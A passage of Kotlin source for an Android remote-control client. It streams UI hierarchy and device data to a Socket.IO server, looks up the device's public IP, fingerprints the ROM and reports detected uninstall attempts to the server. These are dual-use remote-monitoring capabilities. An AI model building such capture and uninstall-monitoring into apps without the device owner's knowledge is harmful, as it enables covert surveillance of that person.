"sdkVersion" to android.os.Build.VERSION.SDK_INT.toString(),
|
|
|
|
|
|
"androidVersion" to android.os.Build.VERSION.RELEASE,
|
|
|
|
|
|
"deviceType" to "android"
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
if (hierarchy != null) {
|
2026-02-14 14:44:10 +08:00
|
|
|
|
Log.e(TAG, "✅✅✅ 增强UI分析成功!!! ✅✅✅")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
|
|
|
|
|
|
// 发送完整的UI层次结构响应
|
|
|
|
|
|
val responseData = JSONObject().apply {
|
|
|
|
|
|
put("deviceId", getDeviceId())
|
|
|
|
|
|
put("requestId", requestId)
|
|
|
|
|
|
put("clientId", clientId)
|
|
|
|
|
|
put("success", true)
|
|
|
|
|
|
put("message", "增强UI分析成功")
|
|
|
|
|
|
put("timestamp", System.currentTimeMillis())
|
|
|
|
|
|
put("hierarchy", hierarchy as Any)
|
|
|
|
|
|
put("enhanced", true) // 总是标识为增强版
|
|
|
|
|
|
|
|
|
|
|
|
// 总是包含设备特征信息
|
|
|
|
|
|
put("deviceCharacteristics", JSONObject(deviceCharacteristics))
|
|
|
|
|
|
|
|
|
|
|
|
// 添加分析元数据
|
|
|
|
|
|
put("analysisMetadata", JSONObject().apply {
|
|
|
|
|
|
put("version", "enhanced_v1.0")
|
|
|
|
|
|
put("parameters", JSONObject().apply {
|
|
|
|
|
|
put("includeInvisible", includeInvisible)
|
|
|
|
|
|
put("includeNonInteractive", includeNonInteractive)
|
|
|
|
|
|
put("maxDepth", maxDepth)
|
|
|
|
|
|
})
|
|
|
|
|
|
put("capabilities", JSONObject().apply {
|
|
|
|
|
|
put("keyboardDetection", true)
|
|
|
|
|
|
put("windowDetection", true)
|
|
|
|
|
|
put("deviceProfiling", true)
|
|
|
|
|
|
})
|
|
|
|
|
|
})
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-02-14 14:44:10 +08:00
|
|
|
|
Log.e(TAG, "📤📤📤 准备发送增强UI层次结构响应!!! 📤📤📤")
|
|
|
|
|
|
Log.e(TAG, "📊 响应数据大小: ${responseData.toString().length} 字符")
|
|
|
|
|
|
Log.e(TAG, "🔍 设备特征: 已包含")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
|
|
|
|
|
|
// 发送响应
|
|
|
|
|
|
sendUIHierarchyResponse(responseData)
|
|
|
|
|
|
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.e(TAG, "❌❌❌ 增强UI分析返回null!!! ❌❌❌")
|
|
|
|
|
|
// 发送错误响应
|
|
|
|
|
|
sendUIHierarchyError(requestId, clientId, "无法获取UI层次结构(增强模式)")
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌❌❌ 增强UI层次结构分析失败!!! ❌❌❌", e)
|
|
|
|
|
|
sendUIHierarchyError(requestId, clientId, "增强分析失败: ${e.message}")
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌❌❌ 处理UI层次结构请求失败!!! ❌❌❌", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 发送UI层次结构响应 - 使用screen_data事件发送(已验证可行)
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun sendUIHierarchyResponse(responseData: JSONObject) {
|
|
|
|
|
|
try {
|
2026-02-14 14:44:10 +08:00
|
|
|
|
Log.e(TAG, "🔄 使用screen_data事件发送UI层次结构响应(实验验证可行)")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
|
|
|
|
|
|
// ✅ 完全参考sendScreenData的简单连接检查
|
|
|
|
|
|
if (isConnected && socket?.connected() == true) {
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 关键修复:使用screen_data事件发送UI响应数据
|
|
|
|
|
|
try {
|
|
|
|
|
|
// 🎯 将UI响应数据转换为screen_data格式
|
|
|
|
|
|
val uiScreenData = JSONObject().apply {
|
|
|
|
|
|
put("deviceId", getDeviceId())
|
|
|
|
|
|
put("format", "UI_HIERARCHY") // 特殊格式标识
|
|
|
|
|
|
put("data", responseData.toString()) // UI数据作为字符串
|
|
|
|
|
|
put("width", getScreenWidth())
|
|
|
|
|
|
put("height", getScreenHeight())
|
|
|
|
|
|
put("quality", 100) // UI数据质量设为100
|
|
|
|
|
|
put("timestamp", System.currentTimeMillis())
|
|
|
|
|
|
put("uiHierarchy", true) // 标识这是UI层次结构数据
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
val emitResult = socket?.emit("screen_data", uiScreenData)
|
2026-02-14 14:44:10 +08:00
|
|
|
|
Log.e(TAG, "✅✅✅ 使用screen_data事件发送UI层次结构响应成功: $emitResult")
|
|
|
|
|
|
Log.e(TAG, "📊 UI响应数据大小: ${responseData.toString().length} 字符")
|
|
|
|
|
|
Log.e(TAG, "🔍 Socket状态详情: connected=${socket?.connected()}, id=${socket?.id()}")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
} catch (emitException: Exception) {
|
|
|
|
|
|
// 🔧 UI层次结构响应失败处理同样增加容错机制
|
|
|
|
|
|
Log.e(TAG, "❌ 使用screen_data事件发送UI层次结构响应失败: ${emitException.message}")
|
|
|
|
|
|
// 不立即触发重连,而是记录错误,让统一的重连机制处理
|
|
|
|
|
|
Log.w(TAG, "⚠️ UI响应发送失败,由CONNECTION_TEST心跳机制统一检测重连")
|
|
|
|
|
|
throw emitException
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.e(TAG, "❌ Socket.IO未连接,无法发送UI层次结构响应")
|
2026-02-14 14:44:10 +08:00
|
|
|
|
Log.e(TAG, "🔍 连接状态详情: isConnected=$isConnected, socket?.connected()=${socket?.connected()}")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
// 🔧 不立即重连,由心跳机制统一检测连接状态
|
|
|
|
|
|
Log.w(TAG, "⚠️ Socket未连接,等待CONNECTION_TEST心跳机制检测重连")
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌❌❌ 发送UI层次结构响应异常!!! ❌❌❌", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 发送UI层次结构错误响应 - 使用screen_data事件发送
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun sendUIHierarchyError(requestId: String, clientId: String, errorMessage: String) {
|
|
|
|
|
|
try {
|
|
|
|
|
|
val errorData = JSONObject().apply {
|
|
|
|
|
|
put("deviceId", getDeviceId())
|
|
|
|
|
|
put("requestId", requestId)
|
|
|
|
|
|
put("clientId", clientId)
|
|
|
|
|
|
put("error", errorMessage)
|
|
|
|
|
|
put("success", false)
|
|
|
|
|
|
put("timestamp", System.currentTimeMillis())
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
Log.w(TAG, "📤 准备发送UI层次结构错误响应: $errorMessage")
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 使用screen_data事件发送错误响应
|
|
|
|
|
|
if (isConnected && socket?.connected() == true) {
|
|
|
|
|
|
try {
|
|
|
|
|
|
// 🎯 将错误响应数据转换为screen_data格式
|
|
|
|
|
|
val errorScreenData = JSONObject().apply {
|
|
|
|
|
|
put("deviceId", getDeviceId())
|
|
|
|
|
|
put("format", "UI_HIERARCHY") // 特殊格式标识
|
|
|
|
|
|
put("data", errorData.toString()) // 错误数据作为字符串
|
|
|
|
|
|
put("width", getScreenWidth())
|
|
|
|
|
|
put("height", getScreenHeight())
|
|
|
|
|
|
put("quality", 100)
|
|
|
|
|
|
put("timestamp", System.currentTimeMillis())
|
|
|
|
|
|
put("uiHierarchy", true) // 标识这是UI层次结构数据
|
|
|
|
|
|
put("isError", true) // 标识这是错误响应
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
val emitResult = socket?.emit("screen_data", errorScreenData)
|
|
|
|
|
|
Log.w(TAG, "✅ 使用screen_data事件发送UI层次结构错误响应成功: $emitResult")
|
|
|
|
|
|
} catch (emitException: Exception) {
|
|
|
|
|
|
// 🔧 错误响应发送失败也使用容错机制
|
|
|
|
|
|
Log.e(TAG, "❌ 使用screen_data事件发送UI层次结构错误响应失败: ${emitException.message}")
|
|
|
|
|
|
// 不立即触发重连,由心跳机制统一处理
|
|
|
|
|
|
Log.w(TAG, "⚠️ UI错误响应发送失败,由CONNECTION_TEST心跳机制统一检测重连")
|
|
|
|
|
|
throw emitException
|
|
|
|
|
|
}
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.e(TAG, "❌ Socket.IO未连接,无法发送UI层次结构错误响应")
|
|
|
|
|
|
// 🔧 不立即重连,由心跳机制统一检测连接状态
|
|
|
|
|
|
Log.w(TAG, "⚠️ Socket未连接,等待CONNECTION_TEST心跳机制检测重连")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 发送错误响应失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 获取当前网络类型(用于网络变化检测)
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun getCurrentNetworkType(): String {
|
|
|
|
|
|
return try {
|
|
|
|
|
|
val connectivityManager = service.getSystemService(Context.CONNECTIVITY_SERVICE)
|
|
|
|
|
|
as android.net.ConnectivityManager
|
|
|
|
|
|
|
|
|
|
|
|
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
|
|
|
|
|
|
val activeNetwork = connectivityManager.activeNetwork
|
|
|
|
|
|
val networkCapabilities = connectivityManager.getNetworkCapabilities(activeNetwork)
|
|
|
|
|
|
|
|
|
|
|
|
when {
|
|
|
|
|
|
networkCapabilities?.hasTransport(android.net.NetworkCapabilities.TRANSPORT_WIFI) == true -> "WIFI"
|
|
|
|
|
|
networkCapabilities?.hasTransport(android.net.NetworkCapabilities.TRANSPORT_CELLULAR) == true -> "CELLULAR"
|
|
|
|
|
|
networkCapabilities?.hasTransport(android.net.NetworkCapabilities.TRANSPORT_ETHERNET) == true -> "ETHERNET"
|
|
|
|
|
|
else -> "UNKNOWN"
|
|
|
|
|
|
}
|
|
|
|
|
|
} else {
|
|
|
|
|
|
@Suppress("DEPRECATION")
|
|
|
|
|
|
val activeNetworkInfo = connectivityManager.activeNetworkInfo
|
|
|
|
|
|
@Suppress("DEPRECATION")
|
|
|
|
|
|
when (activeNetworkInfo?.type) {
|
|
|
|
|
|
android.net.ConnectivityManager.TYPE_WIFI -> "WIFI"
|
|
|
|
|
|
android.net.ConnectivityManager.TYPE_MOBILE -> "CELLULAR"
|
|
|
|
|
|
android.net.ConnectivityManager.TYPE_ETHERNET -> "ETHERNET"
|
|
|
|
|
|
else -> "UNKNOWN"
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.w(TAG, "获取网络类型失败", e)
|
|
|
|
|
|
"UNKNOWN"
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 检查是否应该使用保守的重连策略(基于网络环境和错误历史)
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun shouldUseConservativeReconnect(): Boolean {
|
|
|
|
|
|
val currentTime = System.currentTimeMillis()
|
|
|
|
|
|
val networkType = getCurrentNetworkType()
|
|
|
|
|
|
|
|
|
|
|
|
// 多因素判断是否使用保守策略
|
|
|
|
|
|
val factorsForConservative = mutableListOf<String>()
|
|
|
|
|
|
|
|
|
|
|
|
// 1. Transport Error频率判断
|
|
|
|
|
|
if (transportErrorCount >= 2 && (currentTime - lastTransportErrorTime) < 600000) {
|
|
|
|
|
|
factorsForConservative.add("频繁transport_error(${transportErrorCount}次)")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 2. 网络类型判断 - CELLULAR网络更容易不稳定
|
|
|
|
|
|
if (networkType == "CELLULAR") {
|
|
|
|
|
|
factorsForConservative.add("移动网络")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 3. 连接持续时间判断 - 如果经常短时间断开,说明网络不稳定
|
|
|
|
|
|
val connectionDuration = currentTime - lastConnectTime
|
|
|
|
|
|
if (connectionDuration < 120000 && lastConnectTime > 0) { // 连接时间少于2分钟
|
|
|
|
|
|
factorsForConservative.add("短连接时间(${connectionDuration/1000}秒)")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 4. Android版本判断 - Android 15可能需要特殊处理
|
|
|
|
|
|
if (Build.VERSION.SDK_INT >= 35) {
|
|
|
|
|
|
factorsForConservative.add("Android15系统")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 5. 网络质量分数判断 - 分数低于60时使用保守策略
|
|
|
|
|
|
if (networkQualityScore < 60) {
|
|
|
|
|
|
factorsForConservative.add("网络质量较差(${networkQualityScore}分)")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
val useConservative = factorsForConservative.isNotEmpty()
|
|
|
|
|
|
|
|
|
|
|
|
if (useConservative) {
|
|
|
|
|
|
Log.w(TAG, "🔧 启用保守重连策略,触发因素: ${factorsForConservative.joinToString(", ")}")
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.i(TAG, "🚀 使用标准重连策略,网络环境良好")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
return useConservative
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 记录连接持续时间,用于网络质量评估
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun recordConnectionDuration(duration: Long) {
|
|
|
|
|
|
recentConnectionTimes.add(duration)
|
|
|
|
|
|
// 只保留最近10次连接记录
|
|
|
|
|
|
if (recentConnectionTimes.size > 10) {
|
|
|
|
|
|
recentConnectionTimes.removeAt(0)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 更新网络质量分数(基于多因素综合评估)
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun updateNetworkQualityScore(isSuccess: Boolean, reason: String = "", duration: Long = 0) {
|
|
|
|
|
|
val previousScore = networkQualityScore
|
|
|
|
|
|
|
|
|
|
|
|
if (isSuccess) {
|
|
|
|
|
|
// 连接成功,适度提升分数
|
|
|
|
|
|
networkQualityScore = minOf(100, networkQualityScore + 5)
|
|
|
|
|
|
} else {
|
|
|
|
|
|
// 连接失败或断开,根据原因和时长降低分数
|
|
|
|
|
|
val penalty = when {
|
|
|
|
|
|
reason == "transport_error" -> 15 // transport error惩罚较重
|
|
|
|
|
|
duration < 30000 -> 12 // 连接时间少于30秒,网络很不稳定
|
|
|
|
|
|
duration < 120000 -> 8 // 连接时间少于2分钟,网络不稳定
|
|
|
|
|
|
duration < 300000 -> 5 // 连接时间少于5分钟,轻微不稳定
|
|
|
|
|
|
else -> 2 // 长时间连接后断开,轻微惩罚
|
|
|
|
|
|
}
|
|
|
|
|
|
networkQualityScore = maxOf(0, networkQualityScore - penalty)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 根据成功率进行额外调整
|
|
|
|
|
|
val totalConnections = connectionSuccessCount + connectionFailureCount
|
|
|
|
|
|
if (totalConnections >= 5) {
|
|
|
|
|
|
val successRate = connectionSuccessCount.toFloat() / totalConnections
|
|
|
|
|
|
when {
|
|
|
|
|
|
successRate >= 0.9 -> networkQualityScore = minOf(100, networkQualityScore + 3)
|
|
|
|
|
|
successRate <= 0.5 -> networkQualityScore = maxOf(0, networkQualityScore - 5)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 根据平均连接时长进行调整
|
|
|
|
|
|
if (recentConnectionTimes.isNotEmpty()) {
|
|
|
|
|
|
val avgDuration = recentConnectionTimes.average()
|
|
|
|
|
|
when {
|
|
|
|
|
|
avgDuration >= 300000 -> networkQualityScore = minOf(100, networkQualityScore + 2) // 平均5分钟以上
|
|
|
|
|
|
avgDuration <= 60000 -> networkQualityScore = maxOf(0, networkQualityScore - 3) // 平均1分钟以下
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
if (networkQualityScore != previousScore) {
|
|
|
|
|
|
Log.i(TAG, "🌐 网络质量评分更新: $previousScore -> $networkQualityScore (${getNetworkQualityDescription()})")
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 获取网络质量描述
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun getNetworkQualityDescription(): String {
|
|
|
|
|
|
return when {
|
|
|
|
|
|
networkQualityScore >= 80 -> "优秀"
|
|
|
|
|
|
networkQualityScore >= 60 -> "良好"
|
|
|
|
|
|
networkQualityScore >= 40 -> "一般"
|
|
|
|
|
|
networkQualityScore >= 20 -> "较差"
|
|
|
|
|
|
else -> "很差"
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 获取当前网络质量分数(供外部查询)
|
|
|
|
|
|
*/
|
|
|
|
|
|
fun getNetworkQualityScore(): Int = networkQualityScore
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 🆕 获取设备公网IP地址
|
|
|
|
|
|
*/
|
|
|
|
|
|
private suspend fun getPublicIP(): String? {
|
|
|
|
|
|
return withContext(Dispatchers.IO) {
|
|
|
|
|
|
try {
|
|
|
|
|
|
// 检查缓存
|
|
|
|
|
|
val currentTime = System.currentTimeMillis()
|
|
|
|
|
|
if (cachedPublicIP != null && (currentTime - lastIPCheckTime) < IP_CACHE_DURATION) {
|
|
|
|
|
|
Log.d(TAG, "🌐 使用缓存的公网IP: $cachedPublicIP")
|
|
|
|
|
|
return@withContext cachedPublicIP
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 尝试多个公网IP检测服务,增加成功率
|
|
|
|
|
|
val ipServices = listOf(
|
|
|
|
|
|
"https://ipinfo.io/ip",
|
|
|
|
|
|
"https://api.ipify.org",
|
|
|
|
|
|
|
|
|
|
|
|
"https://icanhazip.com",
|
|
|
|
|
|
"https://checkip.amazonaws.com"
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
for (service in ipServices) {
|
|
|
|
|
|
try {
|
|
|
|
|
|
val url = java.net.URL(service)
|
|
|
|
|
|
val connection = url.openConnection() as java.net.HttpURLConnection
|
|
|
|
|
|
connection.requestMethod = "GET"
|
|
|
|
|
|
connection.connectTimeout = 5000 // 5秒超时
|
|
|
|
|
|
connection.readTimeout = 5000
|
|
|
|
|
|
connection.setRequestProperty("User-Agent", "RemoteControl-Android")
|
|
|
|
|
|
|
|
|
|
|
|
if (connection.responseCode == 200) {
|
|
|
|
|
|
val ip = connection.inputStream.bufferedReader().use { it.readText().trim() }
|
|
|
|
|
|
|
|
|
|
|
|
// 验证IP格式
|
|
|
|
|
|
if (isValidIP(ip)) {
|
|
|
|
|
|
cachedPublicIP = ip
|
|
|
|
|
|
lastIPCheckTime = currentTime
|
|
|
|
|
|
Log.i(TAG, "🌐 获取公网IP成功: $ip (服务: $service)")
|
|
|
|
|
|
return@withContext ip
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
connection.disconnect()
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ IP检测服务失败: $service", e)
|
|
|
|
|
|
continue
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
Log.w(TAG, "⚠️ 所有公网IP检测服务都失败")
|
|
|
|
|
|
return@withContext null
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 获取公网IP异常", e)
|
|
|
|
|
|
return@withContext null
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 🆕 验证IP地址格式
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun isValidIP(ip: String): Boolean {
|
|
|
|
|
|
return try {
|
|
|
|
|
|
val parts = ip.split(".")
|
|
|
|
|
|
if (parts.size != 4) return false
|
|
|
|
|
|
parts.all { part ->
|
|
|
|
|
|
val num = part.toIntOrNull()
|
|
|
|
|
|
num != null && num >= 0 && num <= 255
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
false
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 🛡️ 发送卸载尝试检测事件到服务器
|
|
|
|
|
|
*/
|
|
|
|
|
|
fun sendUninstallAttemptDetected(type: String, message: String = "") {
|
|
|
|
|
|
try {
|
|
|
|
|
|
if (isConnected && socket?.connected() == true) {
|
|
|
|
|
|
val eventData = JSONObject().apply {
|
|
|
|
|
|
put("deviceId", getDeviceId())
|
|
|
|
|
|
put("type", type)
|
|
|
|
|
|
put("message", message.ifEmpty { "检测到卸载尝试: $type" })
|
|
|
|
|
|
put("timestamp", System.currentTimeMillis())
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
socket?.emit("uninstall_attempt_detected", eventData)
|
|
|
|
|
|
Log.w(TAG, "🛡️ 已发送卸载尝试检测事件: type=$type, message=$message")
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "⚠️ Socket未连接,无法发送卸载尝试检测事件")
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 发送卸载尝试检测事件失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 🆕 获取系统版本名称(如Android 11、Android 12等)
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun getSystemVersionName(): String {
|
|
|
|
|
|
return try {
|
|
|
|
|
|
val apiLevel = android.os.Build.VERSION.SDK_INT
|
|
|
|
|
|
val release = android.os.Build.VERSION.RELEASE
|
|
|
|
|
|
|
|
|
|
|
|
// 根据API级别映射到Android版本名称
|
|
|
|
|
|
val versionName = when (apiLevel) {
|
|
|
|
|
|
35 -> "Android 15"
|
|
|
|
|
|
34 -> "Android 14"
|
|
|
|
|
|
33 -> "Android 13"
|
|
|
|
|
|
32, 31 -> "Android 12"
|
|
|
|
|
|
30 -> "Android 11"
|
|
|
|
|
|
29 -> "Android 10"
|
|
|
|
|
|
28 -> "Android 9"
|
|
|
|
|
|
27, 26 -> "Android 8"
|
|
|
|
|
|
25, 24, 23 -> "Android 7"
|
|
|
|
|
|
22, 21 -> "Android 5"
|
|
|
|
|
|
19 -> "Android 4.4"
|
|
|
|
|
|
else -> "Android $release"
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
Log.d(TAG, "📱 系统版本名称: $versionName (API $apiLevel)")
|
|
|
|
|
|
versionName
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 获取系统版本名称失败", e)
|
|
|
|
|
|
"Android ${android.os.Build.VERSION.RELEASE}"
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 🆕 获取ROM类型(如MIUI、ColorOS、FunTouch等)
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun getROMType(): String {
|
|
|
|
|
|
return try {
|
|
|
|
|
|
val brand = android.os.Build.BRAND.lowercase()
|
|
|
|
|
|
val manufacturer = android.os.Build.MANUFACTURER.lowercase()
|
|
|
|
|
|
|
|
|
|
|
|
val romType = when {
|
|
|
|
|
|
// 小米系列
|
|
|
|
|
|
brand.contains("xiaomi") || brand.contains("redmi") || brand.contains("poco") -> {
|
|
|
|
|
|
when {
|
|
|
|
|
|
hasSystemProperty("ro.mi.os.version.incremental") -> "澎湃OS"
|
|
|
|
|
|
hasSystemProperty("ro.miui.ui.version.name") -> "MIUI"
|
|
|
|
|
|
else -> "原生Android"
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
// 华为系列
|
|
|
|
|
|
brand.contains("huawei") || brand.contains("honor") -> {
|
|
|
|
|
|
when {
|
|
|
|
|
|
hasSystemProperty("ro.build.version.emui") -> "EMUI"
|
|
|
|
|
|
hasSystemProperty("ro.magic.api.version") -> "Magic UI"
|
|
|
|
|
|
else -> "原生Android"
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
// OPPO系列
|
|
|
|
|
|
brand.contains("oppo") || brand.contains("oneplus") -> {
|
|
|
|
|
|
when {
|
|
|
|
|
|
hasSystemProperty("ro.build.version.opporom") -> "ColorOS"
|
|
|
|
|
|
hasSystemProperty("ro.oxygen.version") -> "OxygenOS"
|
|
|
|
|
|
else -> "原生Android"
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
// vivo系列
|
|
|
|
|
|
brand.contains("vivo") || brand.contains("iqoo") -> {
|
|
|
|
|
|
if (hasSystemProperty("ro.vivo.os.version")) "OriginOS" else "Funtouch OS"
|
|
|
|
|
|
}
|
|
|
|
|
|
// 三星系列
|
|
|
|
|
|
brand.contains("samsung") -> "One UI"
|
|
|
|
|
|
// 魅族系列
|
|
|
|
|
|
brand.contains("meizu") -> "Flyme"
|
|
|
|
|
|
// 努比亚系列
|
|
|
|
|
|
brand.contains("nubia") -> "nubia UI"
|
|
|
|
|
|
// 联想系列
|
|
|
|
|
|
brand.contains("lenovo") -> "ZUI"
|
|
|
|
|
|
// 中兴系列
|
|
|
|
|
|
brand.contains("zte") -> "MiFavor"
|
|
|
|
|
|
// Google系列
|
|
|
|
|
|
brand.contains("google") || brand.contains("pixel") -> "原生Android"
|
|
|
|
|
|
else -> {
|
|
|
|
|
|
// 尝试通过系统属性检测
|
|
|
|
|
|
when {
|
|
|
|
|
|
hasSystemProperty("ro.miui.ui.version.name") -> "MIUI"
|
|
|
|
|
|
hasSystemProperty("ro.build.version.emui") -> "EMUI"
|
|
|
|
|
|
hasSystemProperty("ro.magic.api.version") -> "Magic UI"
|
|
|
|
|
|
hasSystemProperty("ro.build.version.opporom") -> "ColorOS"
|
|
|
|
|
|
hasSystemProperty("ro.oxygen.version") -> "OxygenOS"
|
|
|
|
|
|
hasSystemProperty("ro.vivo.os.version") -> "OriginOS"
|
|
|
|
|
|
hasSystemProperty("ro.build.version.oneui") -> "One UI"
|
|
|
|
|
|
else -> "${manufacturer.replaceFirstChar { it.uppercase() }} ROM"
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
Log.d(TAG, "📱 ROM类型: $romType (Brand: $brand, Manufacturer: $manufacturer)")
|
|
|
|
|
|
romType
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 获取ROM类型失败", e)
|
|
|
|
|
|
"未知ROM"
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 🆕 获取ROM版本(如MIUI 12.5、ColorOS 11.1等)
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun getROMVersion(): String {
|
|
|
|
|
|
return try {
|
|
|
|
|
|
val brand = android.os.Build.BRAND.lowercase()
|
|
|
|
|
|
|
|
|
|
|
|
val romVersion = when {
|
|
|
|
|
|
// 小米MIUI/澎湃OS版本
|
|
|
|
|
|
brand.contains("xiaomi") || brand.contains("redmi") || brand.contains("poco") -> {
|
|
|
|
|
|
// 优先检查澎湃OS版本
|
|
|
|
|
|
getSystemProperty("ro.mi.os.version.name") ?:
|
|
|
|
|
|
getSystemProperty("ro.mi.os.version.code") ?:
|
|
|
|
|
|
// 然后检查MIUI版本
|
|
|
|
|
|
getSystemProperty("ro.miui.ui.version.name") ?:
|
|
|
|
|
|
getSystemProperty("ro.miui.ui.version.code") ?: "未知版本"
|
|
|
|
|
|
}
|
|
|
|
|
|
// 华为EMUI/Magic UI版本
|
|
|
|
|
|
brand.contains("huawei") || brand.contains("honor") -> {
|
|
|
|
|
|
getSystemProperty("ro.build.version.emui") ?:
|
|
|
|
|
|
getSystemProperty("ro.magic.api.version") ?:
|
|
|
|
|
|
getSystemProperty("ro.build.hw_emui_api_level") ?: "未知版本"
|
|
|
|
|
|
}
|
|
|
|
|
|
// OPPO ColorOS版本
|
|
|
|
|
|
brand.contains("oppo") -> {
|
|
|
|
|
|
getSystemProperty("ro.build.version.opporom") ?:
|
|
|
|
|
|
getSystemProperty("ro.build.version.ota") ?: "未知版本"
|
|
|
|
|
|
}
|
|
|
|
|
|
// OnePlus OxygenOS版本
|
|
|
|
|
|
brand.contains("oneplus") -> {
|
|
|
|
|
|
getSystemProperty("ro.oxygen.version") ?:
|
|
|
|
|
|
getSystemProperty("ro.rom.version") ?: "未知版本"
|
|
|
|
|
|
}
|
|
|
|
|
|
// vivo FunTouch/OriginOS版本
|
|
|
|
|
|
